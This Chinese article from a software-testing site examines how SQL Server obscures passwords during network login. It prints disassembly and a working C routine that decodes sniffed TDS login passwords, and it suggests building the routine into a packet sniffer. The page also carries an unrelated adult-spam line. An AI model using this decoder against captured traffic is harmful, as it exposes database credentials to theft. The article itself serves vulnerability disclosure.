• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    軟件測試開發技術SQL Server數據庫口令的脆弱性

    發布: 2009-9-16 11:45 | 作者: 不詳 | 來源: 領測軟件測試網 | 查看: 8次 | 進入軟件測試論壇討論

    領測軟件測試網

    軟件測試開發技術SQL Server數據庫口令的脆弱性  SQL Server數據庫

    關鍵字:數據庫跟蹤了一下SQL Server數據庫服務器的登錄過程,發現口令計算是非常脆弱的,SQL Server數據庫的口令脆弱體現兩方面:

      1、網絡登陸時候的口令加密算法

      2、數據庫存儲的口令加密算法。

      下面就分別講述:

      1、網絡登陸時候的口令加密算法

      SQL Server網絡加密的口令一直都非常脆弱,網上有很多寫出來的對照表,但是都沒有具體的算法處理,實際上跟蹤一下SQL Server的登陸過程,就很容易獲取其解密的算法:好吧,我們還是演示一下匯編流程:

      登錄類型的TDS包跳轉到4126a4處執行:

      004DE72E:根據接收到的大小字段生成對應大小的緩沖區進行下一步的拷貝

      004DE748從接收到的TDS BUF偏移8處拷貝出LOGIN的信息

      004DE762:call sub_54E4D0:將新拷貝的緩沖壓入進行參數檢查的處理

      依次處理TDS包中的信息,各個字段氣候都應該有各個域的長度,偏移0X24處與長度進行比較。

      下面這段匯編代碼就是實現對網絡加密密碼解密的算法:

      .text:0065C880 mov cl, [edi]
      .text:0065C882 mov dl, cl
      .text:0065C884 xor cl, 5
      .text:0065C887 xor dl, 0AFh
      .text:0065C88A shr dl, 4
      .text:0065C88D shl cl, 4
      .text:0065C890 or dl, cl
      .text:0065C892 mov [edi], dl
      .text:0065C894 inc edi
      .text:0065C895 dec eax
      .text:0065C896 jnz short loc_65C880
      .text:0065C898 jmp loc_4DE7E6

      很容易就將其換成為C代碼,可以看出其加密及其簡單,和明文沒什么區別,呵呵,大家可以在SNIFFER中嵌入這段代碼對嗅嘆到的TDS登陸包進行解密,其實0XA5不是特定的SQL SERVER密碼字段的分界符號,只是由于加密算法會自動把ASC的雙字節表示的0x0加密成0xa5而已,但是如果允許雙字節口令,這個就不是判斷其分界的主要原因了。

      void sqlpasswd(char * enp,char* dnp)
      {
      int i;
      unsigned char a1;
      unsigned char a2;
      for(i=0;i<128;i++)
      {
      if(enp[i]==0)
      break;
      a1 = enp[i]^5;
      a1 = a1 << 4;
      a2 = enp[i]^0xaf;
      a2 = a2 >> 4;
      dnp[i]=a1|a2;
      }
      dnp[i]=0;
      dnp[i+1]=0;
      wprintf(L"passwd:%s\n",(const wchar_t *)dnp);
      }

    延伸閱讀

    文章來源于領測軟件測試網 http://www.kjueaiud.com/

    TAG: sql SQL Sql 口令 軟件測試 數據庫 脆弱性

    21/212>

    關于領測軟件測試網 | 領測軟件測試網合作伙伴 | 廣告服務 | 投稿指南 | 聯系我們 | 網站地圖 | 友情鏈接
    版權所有(C) 2003-2010 TestAge(領測軟件測試網)|領測國際科技(北京)有限公司|軟件測試工程師培訓網 All Rights Reserved
    北京市海淀區中關村南大街9號北京理工科技大廈1402室 京ICP備2023014753號-2
    技術支持和業務聯系:info@testage.com.cn 電話:010-51297073

    軟件測試 | 領測國際ISTQBISTQB官網TMMiTMMi認證國際軟件測試工程師認證領測軟件測試網

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>